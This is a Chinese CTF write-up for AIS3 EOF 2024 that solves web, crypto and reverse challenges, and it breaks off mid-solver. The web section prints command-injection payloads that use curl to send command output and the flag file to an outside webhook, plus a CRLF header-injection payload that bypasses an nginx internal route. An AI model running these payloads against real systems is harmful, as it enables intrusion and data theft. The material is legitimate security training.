# AIS3 EOF 2024 ###### tags: `CTF` [toc] :::success - 名次: 24 / 245 以第一次打 EOF 來說我覺得不錯了,希望明年能進前十 ![scordboard](https://hackmd.io/_uploads/ry9mxmhup.png) ::: --- ## Misc ### Welcome ``` Welcome to AIS3 EOF 2024. Join the Discord ``` 加入 discord & 設定好身分組之後,在 2024-Qual 的 #announcement 頻道就能看到 flag ![flag](https://hackmd.io/_uploads/Skine7hO6.png) `AIS3{W3lc0mE_T0_A1S5s_EOF_2o24}` ## Web ### DNS Lookup Tool: Final ``` Instancer: http://10.105.0.21:21000/ flag 擺在根目錄 ``` 這題是 h4ck3r 的類似題目,總之是一個可以查 DNS 的網站,但是在之前的版本中有 command injection 的漏洞 ![mainpage](https://hackmd.io/_uploads/Hy2plQndp.png) 以下是他的 source code 的關鍵部分,可以看到他仍使用黑名單的方式進行過濾,包含像是 `|`, `&`, `;`, `>`, `<`, `\n`, 等常見的 payload 字元,此外還有 `flag`, `*`, `?` 這些 ```php <?php $blacklist = ['|', '&', ';', '>', '<', "\n", 'flag', '*', '?']; $is_input_safe = true; foreach ($blacklist as $bad_word) if (strstr($_POST['name'], $bad_word) !== false) $is_input_safe = false; if ($is_input_safe) { $retcode = 0; $output = []; exec("host {$_POST['name']}", $output, $retcode); if ($retcode === 0) { echo "Host {$_POST['name']} is valid!\n"; } else { echo "Host {$_POST['name']} is invalid!\n"; } } else echo "HACKER!!!"; ?> ``` 但可以看到他沒有過濾 `$()` 以及 "`" (backtick) 字元,因此我們還是有辦法透過這些字元來 bypass 過濾進而執行指令 不過由於他不會將執行結果回傳給我們,只會說是 valid 或是 invalid,因此我們需要找一個可以讓他回傳結果的方式,而這邊我是利用之前 CGGC 的 bossti 那時的方法,使用 curl 來將指令的結果送到 webhook 上,一個 POC 的 payload 如下 ``` `curl -d $(whoami) https://webhook.site/e5ee9b37-3b0f-4cce-a180-ca0237596df7` ``` ![whoami](https://hackmd.io/_uploads/rkz1ZXhu6.png) 可以看到我們確實收到了資料,代表我們的確可以用這個方法來取得指令的結果,不過當我測試一些會輸出多行結果的指令如 `ls -al` 時發現資料不會傳回來,跟 CGGC 那時一樣,不過這時我們沒有 `|` 可以包成 base64 了 而經過一些測試之後,我發現只要將執行指令的 `$()` 外面包上雙引號即可正常的回傳資料了,而因此我們可以更肆無忌憚地執行任意的指令 由於 flag 在根目錄,首先我先用 `ls /` 來看一下根目錄的內容 ``` `curl -d "$(ls /)" https://webhook.site/e5ee9b37-3b0f-4cce-a180-ca0237596df7` ``` ![ls_root](https://hackmd.io/_uploads/BJll-X2Op.png) 可以看到 flag 檔案的名稱是 `flag_CV3BZGq43QmVxKCd`,因此使用以下的 payload 即可取得 flag 的內容,這邊我用 `''` 會串接字串的方式繞過 `flag` 這個關鍵字的偵測 ``` `curl -d "$(cat /fl''ag_CV3BZGq43QmVxKCd)" https://webhook.site/e5ee9b37-3b0f-4cce-a180-ca0237596df7` ``` ![flag](https://hackmd.io/_uploads/BkJbWX2Oa.png) `AIS3{jU$T_3@SY_cOmM4ND_InJ3c7I0N}` ### Internal ``` The flag is for internal use only! Author: maple3142 http://10.105.0.21:24000/ file: internal.tar.gz ``` 首先一進入網頁,可以看到只會單純的印出 `Hello world!`,沒有其他的了,因此這邊我們只好先來看一下原始碼 ![mainpage](https://hackmd.io/_uploads/rkRZZQ2dp.png) 程式碼的部分如下 ```nginx # default.conf server { listen 7778; listen [::]:7778; server_name localhost; location /flag { internal; proxy_pass http://web:7777; } location / { proxy_pass http://web:7777; } } ``` 首先在 nginx 的 `default.conf` 可以看到,他在瀏覽時會將所有的請求都轉發到 `http://web:7777`,不過當路徑為 `/flag` 時,會設定 `internal` 代表這個請求只能由內部來訪問,因此當我們直接訪問時會出現以下的 `404 Not Found` 錯誤 ![flagroute](https://hackmd.io/_uploads/rkYfZ7nu6.png) ```python # server.py URL_REGEX = re.compile(r"https?://[a-zA-Z0-9.]+(/[a-zA-Z0-9./?#]*)?") class RequestHandler(BaseHTTPRequestHandler): def do_GET(self): if self.path == "/flag": self.send_response(200) self.end_headers() self.wfile.write(FLAG.encode()) return query = parse_qs(urlparse(self.path).query) redir = None if "redir" in query: redir = query["redir"][0] if not URL_REGEX.match(redir): redir = None self.send_response(302 if redir else 200) if redir: self.send_header("Location", redir) self.end_headers() self.wfile.write(b"Hello world!") ``` 在 `server.py` 的部分可以看到,如果我們成功的訪問到了 `/flag` 的話,他會回傳 `FLAG` 的內容,而另外在其他路徑中,假如有 `redir` 的參數的話,他會將我們的請求重新導向到 `redir` 的網址,而他也會去檢查 `redir` 的內容是否符合 `URL_REGEX` 的格式 不過這邊的檢查只會去判斷 `redir` 是不是有長得像 url 的格式出現,而沒有更進一步的檢查了,此外我們可以看到這個 `redir` 會使用 `self.send_header("Location", redir)` 來設定到 response header 的部分,因此這邊我們可以發現有 CRLF injection 的漏洞,讓我們可以注入任意的 header 以下是測試的 payload ``` /?redir=http://localhost:7778/flag%0d%0aA:%20B ``` ![test_inject](https://hackmd.io/_uploads/SJIXbX2_p.png) 可以看到我們確實能去竄改 response header 的部分 而根據[這篇文章](https://blog.csdn.net/qq_34981752/article/details/108344016)可以看到,只要在 response header 中有一項 `X-Accel-Redirect` 的 header,nginx 就會將這個請求轉發到 `internal` 的部分,因此我們可以透過這個方式來繞過 `internal` 的限制 因此我們可以透過以下的 payload 來取得 flag ``` /?redir=http://localhost:7778/flag%0d%0aX-Accel-Redirect:%20/flag ``` ![flag](https://hackmd.io/_uploads/S1fNb7hd6.png) `AIS3{JU$T_sOm3_fuNny_n91nx_FEature}` ## Crypto ### Baby AES ``` These block cipher operation modes are very similar to stream ciphers. Are you familiar with them? Author: AnJ nc chal1.eof.ais3.org 10003 file: AES.py ``` 以下是題目原始碼 ```python AES_enc = AES.new(urandom(16), AES.MODE_ECB).encrypt def AES_CFB (iv, pt): ct = b"" for i in range(0, len(pt), 16): _ct = XOR(AES_enc(iv), pt[i : i + 16]) iv = _ct ct += _ct return ct def AES_OFB (iv, pt): ct = b"" for i in range(0, len(pt), 16): iv = AES_enc(iv) ct += XOR(iv, pt[i : i + 16]) return ct def AES_CTR (iv, pt): ct = b"" for i in range(0, len(pt), 16): ct += XOR(AES_enc(iv), pt[i : i + 16]) iv = counter_add(iv) return ct ``` 首先我們可以看到,他定義了一個 ECB mode 的 AES,並實作了三種不同的區塊加密模式 ```python if __name__ == "__main__": counter = urandom(16) c1 = urandom(32) c2 = urandom(32) c3 = XOR(XOR(c1, c2), FLAG) print(f"DEBUG c1: {b64encode(c1)}, c2: {b64encode(c2)}, c3: {b64encode(c3)}, counter: {b64encode(counter)}") print( f"c1_CFB: ({b64encode(counter)}, {b64encode(AES_CFB(counter, c1))})" ) counter = counter_add(counter) print( f"c2_OFB: ({b64encode(counter)}, {b64encode(AES_OFB(counter, c2))})" ) counter = counter_add(counter) print( f"c3_CTR: ({b64encode(counter)}, {b64encode(AES_CTR(counter, c3))})" ) for _ in range(5): try: counter = counter_add(counter) mode = input("What operation mode do you want for encryption? ") pt = b64decode(input("What message do you want to encrypt (in base64)? ")) pt = pt.ljust( ((len(pt) - 1) // 16 + 1) * 16, b"\x00") if mode == "CFB": print( b64encode(counter), b64encode(AES_CFB(counter, pt)) ) elif mode == "OFB": print( b64encode(counter), b64encode(AES_OFB(counter, pt)) ) elif mode == "CTR": print( b64encode(counter), b64encode(AES_CTR(counter, pt)) ) else: print("Sorry, I don't understand.") except: print("??") exit() ``` 接著在主程式的部分可以看到他會生成一個隨機的 16 bytes `counter` 與兩個隨機的 32 bytes 的字串 `c1` 與 `c2`,並將他們與 flag 做 xor 之後存放於 `c3` 中,並且會對於 `c1`, `c2`, `c3` 分別使用 CFB, OFB, CTR 這三種模式加密,最後會將他們的結果印出來,此外在每次的加密之後,`counter` 會被加一 而當他把結果印出來之後,程式會進入一個可以執行 5 次的迴圈,而在每次的迴圈中,首先他會將 `counter` 加上 1 之後讓我們可以做一次加密,並且會讓我們選擇要使用 `CFB`, `OFB` 或 `CTR` 模式,我們只要將輸入包成 base64 之後送進去即可。當他運算完之後,會將 `counter` 與加密後的結果印出來 而從上面的程式碼可以觀察到,這個程式有一些漏洞,首先他只會使用同一個 AES 做加密,因此不管是在哪一個模式下只要 AES 的輸入相同都會得到相同的 AES 輸出,而另外一個漏洞是在像是 `CTR` 模式中,雖然在函式中有做 `counter_add` 的動作,但是由於函式中沒有設定是 global 的 `counter`,因此每次在主程式中的 `counter` 不會受到子函式裡面的影響,也就是說 `counter` 的值有可能會被重複使用 因此,我們可以利用這兩個漏洞來進行攻擊,我們首先可以先使用 `CTR` mode 並設定輸入是 `\x00` * 16 * 5 個 bytes,而這麼一來在輸出的部分我們就能直接拿到 AES 的輸出,也就是 `AES(init_counter+3)`, `AES(init_counter+4)`, ..., `AES(init_counter+7)` 的值 ```python senddata(b"CTR", b"\x00"*16*5) counter4, data = readdata() # AES(counter4) = data[0:16] # AES(counter5) = data[16:32] # AES(counter6) = data[32:48] # AES(counter7) = data[48:64] # AES(counter8) = data[64:80] ``` 而接下來回到主程式執行第二次的迴圈,此時 `counter` 變成 `init_counter+4`,而我們也知道了 `AES(init_counter+4)` 的值,因此我們可以透過修改 plaintext 變成 `AES(init_counter+4)^(init_counter+0)` 並串接一個 `\x00` * 16 的字串,這麼一來我們就能控制 CFB mode 的第二個 block 的 AES 輸入是 `init_counter+0`,我們也就能在第二個 block 的輸出中拿到 `AES(init_counter+0)` 的值,我們也就能與 `CFB(c1)` 的前 16 bytes 做 xor 操作取得 `c1` 前 16 bytes 的值 (當然我們也可以直接在第二個 block 的輸入設定成是 `CFB(c1)` 的前 16 bytes,這麼一來直接在輸出部分就能拿到 `c1` 前 16 bytes 的值了) ```python senddata(b"CFB", xor(data[16:32], counter1)+c1) _, c1_data = readdata() assert c1_data[:16] == counter1 c1_plain_upper = c1_data[16:32] ``` 而接下來在第三次迴圈,我們要來復原 `c1` 的後 16 bytes,此時 `counter` 是 `init_counter+5`,我們可以透過前面那樣的方式控制 CFB mode 的第二個 block 的 AES 輸入是 `CFB(c1)` 的前 16 bytes,就如同一般的 CFB mode 那樣,而我們在第二個 block 的輸入中一樣也是給 `\x00` * 16 bytes 的字串,此時我們就能在第二個 block 的輸出中拿到之前在 CFB 加密時的第二個 block 的 AES 輸出一樣的數值,而我們只要再將該數值與 `CFB(c1)` 的後 16 bytes 做 xor 操作,就能得到 `c1` 的後 16 bytes 的值 (當然我們也可以像是前面那樣直接在第二個 block 的輸入設定成是 `CFB(c1)` 的後 16 bytes 直接拿結果) ```python senddata(b"CFB", xor(data[32:48], c1[0:16])+c1[16:32]) _, c1_2_data = readdata() assert c1_2_data[:16] == c1[0:16] c1_plain_lower = c1_2_data[16:32] ``` 此時我們已經復原了 `c1` 的值 接下來在第四次迴圈,我們需要恢復 `c2` 的值,此時 `counter` 是 `init_counter+6`,我們可以從 `OFB` 的架構圖看到我們需要 `AES(counter+1)` 以及 `AES(AES(counter+1))` 的值,而我們可以像是前面一樣依樣畫葫蘆修改 CFB mode 第二個 block 的 AES 輸入為 `AES(counter+1)`,並且在第二個 block 的輸入中給 `\x00` * 16 bytes 的字串,這樣一來我們就能在第二個 block 的輸出中拿到 `AES(counter+1)` 的值,而此時由於 CFB mode 的規則,他會將輸出的 `AES(counter+1)` 餵給第 3 個 block 的 AES 輸入,因此我們在設定第 3 個 block 的輸入一樣給 `\x00` * 16 bytes 的字串,這樣一來我們就能在第 3 個 block 的輸出中拿到 `AES(AES(counter+1))` 的值,而我們只要將 `AES(counter+1)` 與 `OFB(c2)` 的前 16 bytes 做 xor 操作,並再拿 `AES(AES(counter+1))` 與 `OFB(c2)` 的後 16 bytes 做 xor 操作,兩者串接起來就能得到 `c2` 的值了 ```python senddata(b"CFB", xor(data[48:64], counter2)+b"\x00"*32) _, c2_data = readdata() assert c2_data[:16] == counter2 c2_plain_upper = xor(c2_data[16:32], c2[:16]) c2_plain_lower = xor(c2_data[32:48], c2[16:32]) c2_plain = c2_plain_upper + c2_plain_lower ``` 在最後第五次的迴圈,我們必須得要復原 `c3` 的值了,此時 `counter` 是 `init_counter+7`,而從 CTR 架構圖中可以看到我們需要 `AES(counter+2)` 與 `AES(counter+3)` 的值,後者我們已經從第一次迴圈的輸出中拿到了,而前者我們就像是前面一樣修改 CFB mode 第二個 block 的 AES 輸入為 `AES(counter+2)`,並且在第二個 block 的輸入中給 `\x00` * 16 bytes 的字串,這樣一來我們就能在第二個 block 的輸出中拿到 `AES(counter+2)` 的值,我們只要將 `AES(counter+2)` 與 `CTR(c3)` 的前 16 bytes 做 xor 操作,並再拿 `AES(counter+3)` 與 `CTR(c3)` 的後 16 bytes 做 xor 操作,兩者串接起來就能得到 `c3` 的值了 ```python senddata(b"CFB", xor(data[64:80], counter3)+b"\x00"*16) _, c3_data = readdata() assert c3_data[:16] == counter3 c3_plain_upper = xor(c3[0:16], c3_data[16:32]) c3_plain_lower = xor(c3[16:32], data[0:16]) c3_plain = c3_plain_upper + c3_plain_lower ``` 因此有了 `c1`, `c2`, `c3`,我們只要去做 xor 後即可復原 flag 以下是完整的解題程式碼 ```python from pwn import * from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l import base64 context.log_level = 'debug' conn = remote('chal1.eof.ais3.org', 10003) # conn = process(["python", "AES.py"]) def readdata(): conn.recvuntil(b"'") counter = base64.b64decode(conn.recvuntil(b"'")) conn.recvuntil(b"'") data = base64.b64decode(conn.recvuntil(b"'")) return counter, data def senddata(mode: bytes, data: bytes): conn.sendlineafter(b"encryption? ", mode) conn.sendlineafter(b"base64)? ", base64.b64encode(data)) # print(conn.recvline()) counter1, c1 = readdata() counter2, c2 = readdata() counter3, c3 = readdata() senddata(b"CTR", b"\x00"*16*5) counter4, data = readdata() # AES(counter4) = data[0:16] # AES(counter5) = data[16:32] # AES(counter6) = data[32:48] # AES(counter7) = data[48:64] # AES(counter8) = data[64:80] senddata(b"CFB", xor(data[16:32], counter1)+c1) _, c1_data = readdata() assert c1_data[:16] == counter1 c1_plain_upper = c1_data[16:32] senddata(b"CFB", xor(data[32:48], c1[0:16])+c1[16:32]) _, c1_2_data = readdata() assert c1_2_data[:16] == c1[0:16] c1_plain_lower = c1_2_data[16:32] c1_plain = c1_plain_upper + c1_plain_lower senddata(b"CFB", xor(data[48:64], counter2)+b"\x00"*32) _, c2_data = readdata() assert c2_data[:16] == counter2 c2_plain_upper = xor(c2_data[16:32], c2[:16]) c2_plain_lower = xor(c2_data[32:48], c2[16:32]) c2_plain = c2_plain_upper + c2_plain_lower senddata(b"CFB", xor(data[64:80], counter3)+b"\x00"*16) _, c3_data = readdata() assert c3_data[:16] == counter3 c3_plain_upper = xor(c3[0:16], c3_data[16:32]) c3_plain_lower = xor(c3[16:32], data[0:16]) c3_plain = c3_plain_upper + c3_plain_lower # AES(counter3) = c3_data[16:32] print(f"c1_plain = {c1_plain}") print(f"c2_plain = {c2_plain}") print(f"c3_plain = {c3_plain}") print(f"flag = {xor(c1_plain, c2_plain, c3_plain)}") ``` ![flag](https://hackmd.io/_uploads/r1EIWmn_a.png) `AIS3{_Bl0Ck_C1PheR_mOde_m@StEr_}` ### Baby RSA ``` I've created a server to receive your messages, but I can't bear your perfect messages, so I want to somehow alter them. Can you still recover or even decrypt them? Author: AnJ nc chal1.eof.ais3.org 10002 file: BabyRSA.py ``` 以下是題目原始碼 ```python def encrypt(m, e, n): enc = pow(bytes_to_long(m), e, n) return enc def decrypt(c, d, n): dec = pow(c, d, n) return long_to_bytes(dec) if __name__ == "__main__": while True: p = getPrime(1024) q = getPrime(1024) n = p * q phi = (p - 1) * (q - 1) e = 3 if phi % e != 0 : d = pow(e, -1, phi) break print(f"{n=}, {e=}") print("FLAG: ", encrypt(FLAG, e, n)) for _ in range(3): try: c = int(input("Any message for me?")) m = decrypt(c, d, n) print("How beautiful the message is, it makes me want to destroy it .w.") new_m = long_to_bytes(bytes_to_long(m) ^ bytes_to_long(os.urandom(8))) print( "New Message: ", encrypt(new_m, e, n) ) except: print("?") exit() ``` 可以看到首先他生成了 RSA 的參數,他要兩個 1024 bits 的質數作為 `p`, `q`,並且設定 `e` 為 3,而後他會將公鑰以及 `flag` 的加密結果印出來 接著程式讓我們可以做三次的迴圈,在每次迴圈中他會幫我們做解密的動作,並且會將解密後的結果與一個隨機的 8 bytes 的字串做 xor 之後再將結果加密印出來 這題我使用了 unintended 的解法,首先我們知道他的公鑰指數非常的小只有 3,而我們也知道在每次的連線中都會產生不同的 `n` 參數,而也就成為了一個非常經典的 Broadcast Attack 題目 Broadcast Attack 的原理是這樣的,假設我們有三個不同的 `n`,分別為 $n_1$, $n_2$, $n_3$,而他們有相同的 $m \lt min(n_1, n_2, n_3)$ 以及共同的 $e = 3$,因此我們就有了三個不同的 `c`,分別為 $c_1$, $c_2$, $c_3$,而我們也知道 $c_1 = m^3 \mod n_1$, $c_2 = m^3 \mod n_2$, $c_3 = m^3 \mod n_3$,因此我們可以透過中國剩餘定理 CRT 來解方程式,而我們就能得到 $m^3 \mod (n_1 \times n_2 \times n_3)$ 的值 而由於 $m \lt min(n_1, n_2, n_3)$,因此我們可以知道 $m^3 \lt min(n_1, n_2, n_3)^3 \le n_1 \times n_2 \times n_3$,因此這邊我們可以將前面的結果視同於 $m^3$,因此我們只要將 $m^3$ 開立方根就能得到 $m$ 的值了,也就是 flag 以下是完整的解題腳本 ```python from pwn import * from Crypto.Util.number import * from sage.all import CRT from gmpy2 import iroot context.log_level = "info" def getEnc(): # conn = process(["python", "RSA.py"]) conn = remote("chal1.eof.ais3.org", 10002) conn.recvuntil(b"n=") n = int(conn.recvuntil(b",")[:-1]) conn.recvuntil(b"e=") e = int(conn.recvline().strip()) conn.recvuntil(b"FLAG: ") c = int(conn.recvline().strip()) return n,e,c n = [] c = [] for _ in range(3): n_, e_, c_ = getEnc() n.append(n_) c.append(c_) flag_3 = CRT(c, n) flag,check = iroot(flag_3, 3) assert check print(long_to_bytes(flag)) ``` ![flag](https://hackmd.io/_uploads/HymPbmhOp.png) `AIS3{C0pPer5mItHs_Sh0r7_P@D_a7t4CK}` 預期解應該是用 coppersmith short pad attack 來解 ### Baby Side Channel Attack ``` I implemented a simple RSA encryption & decryption routine in Python and used the trace module to debug it. I hope it doesn't leak any important info. Note: The int in Python is actually pretty slow, consider using specialized software such as GMP or Sagemath if your solver is taking too much time. Author: maple3142 file: `chall.py`, `trace.txt.xz` ``` 以下是題目原始碼 ```python def powmod(a, b, c): r = 1 while b > 0: if b & 1: r = r * a % c a = a * a % c b >>= 1 return r def keygen(b): p = getPrime(b // 2) q = getPrime(b // 2) n = p * q e = 65537 d = pow(e, -1, (p - 1) * (q - 1)) return n, e, d def main(): flag = os.environ.get("FLAG", "not_flag{just_test}").encode() n, e, d = keygen(2048) m = bytes_to_long(flag) c = powmod(m, e, n) assert powmod(c, d, n) == m print(f"{c = }") ed = powmod(e, d, n) de = powmod(d, e, n) print(f"{ed = }") print(f"{de = }") if __name__ == "__main__": main() # to generate trace.txt.gz: # execute `python -m trace --ignore-dir=$(python -c 'import sys; print(":".join(sys.path)[1:])') -t chall.py | gzip > trace.txt.gz` ``` 可以看到他是一個 RSA 的加密程式,會生成 2048 bits 的 RSA 參數,並且會將 flag 加密之後的結果印出來,而他也會印出 $e^d$ 以及 $d^e$ 的結果,程式本身沒有漏洞 而另外一個檔案 `trace.txt` 的內容如下,可以看到他會記錄每一行執行的程式碼 ![trace](https://hackmd.io/_uploads/SkNO-73_6.png) 而我們可以從前面的程式看到,他計算 `powmod` 的方式是使用 Exponentiation by squaring 的方式,也就是說他會將指數轉換成二進位的形式,並且從最低位元開始計算,當遇到 1 時就會將結果乘上 $a$,而在每次計算之後都會將 $a$ 做平方 而因此我們可以透過這個特性來得知每一個 bit 的值,得到 `powmod` 的指數部分的值,而我們也可以看到在程式中有使用到 `powmod(m, e, n)` 以及 `powmod(c, d, n)`,因此我們就能得到 $e$ 和 $d$ 的值了 不過在程式中他沒有輸出 `n` 的值,因此我們還沒辦法快樂的去解 RSA,不過我們可以透過 $e^d$ 以及 $d^e$ 來得到 $n$ 的值,因為我們可以知道 $e^d \equiv ed \mod n$ 以及 $d^e \equiv de \mod n$,因此我們可以知道 $e^d - ed = k_1 \times n$ 以及 $d^e - de = k_2 \times n$,對二者做 GCD 就能得到 $n$ 的值了,在經過 RSA 的解密計算之後我們就能得到 flag 以下是我的解題腳本,由於出題者有提到 int 在 python 中的運算速度很慢,因此需要使用了 gmpy2 來加速運算,不過儘管如此我還是花了大概 1 ~ 2 個小時才跑出來,不知道是不是哪裡出了問題 ```python from param import c, ed, de import gmpy2 e = 0 d = 0 temp_power_e = 0 temp_power_d = 0 with open('trace.txt') as fh: for i in range(21): fh.readline() while True: line = fh.readline() if " --- " in line: break if "(9)" in line: e += 1 << temp_power_e if "(11)" in line: temp_power_e += 1 while True: line = fh.readline() if " --- " in line: break if "(9)" in line: d += 1 << temp_power_d if "(11)" in line: temp_power_d += 1 print(f"{e = }") print(f"{d = }") # n = GCD(e^d - ed, d^e - de) x = gmpy2.mpz(d)**e - gmpy2.mpz(de) n = gmpy2.gcd(gmpy2.powmod(e, d, x) - ed % x, x) print(f"{n = }") flag = pow(c, d, n) print(f"flag = {flag}") ``` ![flag](https://hackmd.io/_uploads/BJCu-mn_6.png) 拿到 flag 的數值之後,我們只要將他轉成 bytes 就能得到 flag 了 ![flag2](https://hackmd.io/_uploads/r1ctWX3_a.png) `AIS3{51D3_Ch@NneL_15_E4sy_WhEN_7H3_D@TA_LE@ka9E_1s_exAct}` ## Reverse ### Flag Generator ``` It's that simple: a flag generator. Flag Format: put the output in the flag format, e.g., AIS3{output_here}. Author: Ice1187 file: flag_generator ``` 首先我們先將 binary 放進 IDA 做分析,以下是 `main` 函式的部分 ![main](https://hackmd.io/_uploads/SJVhWX3d6.png) ![main2](https://hackmd.io/_uploads/r12nW7n_a.png) 可以看到他會做 `calloc` 分配一塊記憶體,並在一些位置上塞入看起來像是 elf 的相關格式的東東。此外也塞入了 shellcode 的部分,而最後程式會將這塊記憶體寫入 `flag.exe` 中 一個簡單分析裡面的 shellcode 的方法是直接去執行這個程式讓他產生 `flag.exe` 再作分析,不過實際上去執行後會發現檔案裡面是空的,而從以下的 `writeFile` 程式碼中可以發現他根本就不會寫入任何東西 ![writefile](https://hackmd.io/_uploads/HJaTbQnua.png) 因此我們只好直接的來分析 `shellcode` 的部分,不過可以發現 IDA 把它解壞了,變成從中間開始解析,因此我們需要將中間這些解析完成的部分先用 `u` 還原成 raw bytes 之後在開頭的地方再來用 `c` 來重新解析 ![shellcode_initial](https://hackmd.io/_uploads/ByDR-Xn_a.png) 解析完成之後我們就能看到一些特別的字串出現了 ![shellcode](https://hackmd.io/_uploads/SJV1f72Op.png) 而為了讓我們更方便的分析,我們可以在 `shellcode` 的地方按 `P` 讓他重新分析函式。而此時我們就能從 `main` -> `shellcode` 的地方看到一個 `SHELLCODE_0` 的函式,裡面就是 shellcode 的完整邏輯了 ![shellcode_0](https://hackmd.io/_uploads/rk0yzXnOp.png) 我們可以從程式碼中猜到這個 `shellcode` 會使用 `kernel32.dll` 的 `LoadLibraryA` 函式來載入 `user32.dll` 的 `MessageBoxA` 函式,很可能他是要顯示一個 message box,而 message box 的文字部分則是一串寫在程式碼中的數值與 `PAIN~~!!` 的字串計算一些公式之後做 xor 的解密,而經過測試這個公式其實就等同於一般的 xor 加密而已 因此,我們可以寫一個簡單的程式來解密,以下是解題腳本,執行完之後就能拿到 flag ```python from pwn import xor flag_enc = bytes.fromhex("55 65 78 20 19 21 76 68 1e 25 79 39 2d 21 68 14 0f 32 3c 2d 16 21 61 7e 00 01 78 20 50 50 0f 0f") v6 = b"PAIN~~!!" flag_enc_bytearr = bytearray(flag_enc) for i in range(1, len(flag_enc_bytearr)): flag_enc_bytearr[i] ^= v6[(i) & 7] i += 1 print(flag_enc_bytearr.decode()) ``` ![flag](https://hackmd.io/_uploads/r1jgzmnup.png) `AIS3{U$1ng_WINd0wS_I5_such_@_P@1n....}` 附上我拿 firstblood 的圖 ![firstblood](https://hackmd.io/_uploads/rkXWf73ua.png) ### PixelClicker ``` Someone told me revese challenge can be solved within two clicks... Try this! Author: TwinkleStar03 file: pixelclicker.exe ``` 首先老樣子我們先將程式丟進 IDA 分析,以下是進入點 `WinMain` 的部分 ![winmain](https://hackmd.io/_uploads/rySLz73Op.png) 可以看到他有使用到 `CreateWindowExW` 的函式,應該是一個視窗型程式,而我們可以從文件中知道 `lpfnWndProc` 就是該視窗程式的 callback 函式,裡面會有相關的邏輯,我們可以追入看看 首先我們可以先來看一下該函式的下半部分,如下 ![winproc](https://hackmd.io/_uploads/rygwzm3_p.png) ![winproc2](https://hackmd.io/_uploads/BkMuz7huT.png) 可以看到這邊是一些處理各事件的邏輯,包含像是說關閉視窗、滑鼠點擊、滑鼠移動等等,可以看到基本上沒有與 flag 太相關的部分,頂多是說在點擊時會設定 pixel 以及將一個變數做 +1 而接著我可以來看一下這個函式上半部分,如下 ![winproc3](https://hackmd.io/_uploads/B1R_GQn_p.png) 可以看到當前面的變數模 600 餘一時,他會執行中間的這段程式,首先會呼叫 `sub_140001A60` 的函式,並會做一些事情之後進到 27 行的迴圈中並做一些比較,當比較只要不通過時就會輸出 `You are bad at clicking pixels` 的訊息,而只要比較完 360000 個 pixel 並且都通過時就會輸出 `Perdect Match` 的訊息,可以看到這是比較關鍵的部分了 而不過在 `sub_140001A60` 的程式部分較為複雜,我只看得出是去 resource 的部分取得一些資料出來做一些運算,因此我這邊沒有繼續去逆該函式,而是使用動態分析的方法取得資料出來 首先我們可以知道第 10 行的資料應該是程式預期的資料結果,因此我們可以嘗試去 dump 出來,這邊我使用了 `x64dbg` 下中斷在這個位置 (透過自動中斷於程式進入點得知 code base address 之後去計算 offset 得知要中斷的位置,使用 `bp` 指令進行中斷),之後我使用 `Cheat Engine` 透過抓數值的方式去找出 `dword_140005708` 這個代表點擊次數的變數的所在位置,並且去修改他的值成為 359995 之類的,只要我們再點擊個幾下之後就會因為程式邏輯而進入到這個中斷點,此時再利用外掛的 `scylla` 來 dump 出該位置的記憶體 (`Scylla` -> `File` -> `dump memory`,`Size` 的部分寫一個足夠大的數字即可,這邊我填的是 `0x01000000`),我們就能拿到要比較的資料了 而我們可以猜得到這個資料應該是一個圖片的每個 bits,且大小應該是 600 * 600,因此我寫了一個簡單的程式來將他轉成圖片,以下是程式的部分 ```python import numpy as np import PIL.Image as Image import matplotlib.pyplot as plt data = open("./MEM_000002760D27E000_01000000.mem", "rb").read() # 4 byte a pixel -> RGBA row = 600 col = 600 channel = 4 offset = 0x80 img = Image.frombytes("RGBA", (col, row), data[offset:]) # flip img = img.transpose(Image.FLIP_TOP_BOTTOM) img_array = np.array(img) plt.imsave("./temp.png", img_array) ``` 而經過一些測試與修改之後,我找到了最佳的參數並拿到了一張圖片,flag 在圖片中 (雖然我不知道為什麼圖片是綠色的就是了) ![flag](https://hackmd.io/_uploads/HJ3FzmhuT.png) `AIS3{ju$t_4_5iMPlE_clICKEr_9@m3}` ### Stateful ``` Fully stateful machine! Author: TwinkleStar03 file: stateful.exe ``` 首先一樣我們先將 binary 丟進 IDA 做分析,以下是 `main` 函式的部分 ![main](https://hackmd.io/_uploads/SJu5G72dT.png) 可以看到首先程式會將 argv 輸入的部分複製到 `dest` 陣列中,並會將這個陣列傳入 `state_machine` 的函式,最後會比較執行完之後 `dest` 陣列值是否與 `k_target` 相同,相同的話就會輸出 `Correct!!!` 否則輸出 `Wrong!!!` 以下是 `state_machine` 的函式 ![state_machine](https://hackmd.io/_uploads/ryWjGm3ua.png) ![state_machine2](https://hackmd.io/_uploads/SJ5iM72up.png) 首先可以看到他會定義一些 state 之後,根據 `v5` 的值執行不同的函式,並在最後更新 `v5` 成下一個 state 直到沒有遇到匹配的 state 為止 而以下是每個 state 會執行的函式的範例,可以看到基本上就是單純的對陣列做操作而已 ![state](https://hackmd.io/_uploads/SkNhzm2dp.png) 而我們可以嘗試使用 `angr` 來解,畢竟他沒有太多的 IO,也沒有太多的分支,設定得宜的話應該是可以解出來,不過我實際去測試時發現會執行較久,可能有待優化,因此我採用另一個比較辛苦的方式來解題 首先我們可以用工人智慧的方式去慢慢地將 state 的運算順序取出來,並使用 `z3` 的方式來設定輸入的 symbol,並根據運算的順序去操作這些符號,最後設定結果要等同於 `k_target` 的值來做約束,如此一來應該就可以解出原始輸入的 flag 以下是解題的腳本,中間的部分是我取出來的運算順序,執行完之後就能拿到 flag 了 ```python from z3 import * s = Solver() flag = [BitVec(f'flag_{i}', 8) for i in range(43)] flag[14] += flag[35] + flag[8] flag[9] -= flag[2] + flag[22] flag[0] -= flag[18] + flag[31] flag[2] += flag[11] + flag[8] flag[6] += flag[10] + flag[41] flag[14] -= flag[32] + flag[6] flag[16] += flag[25] + flag[11] flag[31] += flag[34] + flag[16] flag[9] += flag[11] + flag[3] flag[17] += flag[0] + flag[7] flag[5] += flag[40] + flag[4] flag[37] -= flag[29] + flag[3] flag[23] += flag[7] + flag[34] flag[39] -= flag[25] + flag[38] flag[27] += flag[18] + flag[20] flag[20] += flag[19] + flag[24] flag[15] += flag[22] + flag[10] flag[30] -= flag[33] + flag[8] flag[1] -= flag[29] + flag[13] flag[19] += flag[10] + flag[16] flag[0] += flag[33] + flag[16] flag[36] += flag[11] + flag[15] flag[24] += flag[20] + flag[5] flag[7] += flag[21] + flag[0] flag[1] += flag[15] + flag[6] flag[30] -= flag[13] + flag[2] flag[1] += flag[16] + flag[40] flag[31] += flag[1] + flag[16] flag[32] += flag[5] + flag[25] flag[13] += flag[25] + flag[28] flag[7] += flag[10] + flag[0] flag[21] += 